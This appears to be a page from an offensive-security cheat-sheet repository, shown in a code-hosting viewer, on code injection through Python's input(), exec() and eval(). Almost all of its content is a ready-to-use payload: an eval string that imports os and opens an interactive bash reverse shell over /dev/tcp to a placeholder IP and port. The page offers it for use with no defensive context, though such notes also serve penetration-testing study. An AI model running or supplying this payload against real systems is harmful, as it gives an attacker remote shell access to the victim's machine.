killchain-compendium/Exploits/Python/Code Injection.md

11 lines
208 B
Markdown
Raw Normal View History

2022-11-13 22:38:01 +01:00
# Code Injection
* Python's `input()`, `exec()` and `eval()` makes it possible
## Usage
* Payload example
```python
eval("__import__('os').system('bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1')#")
```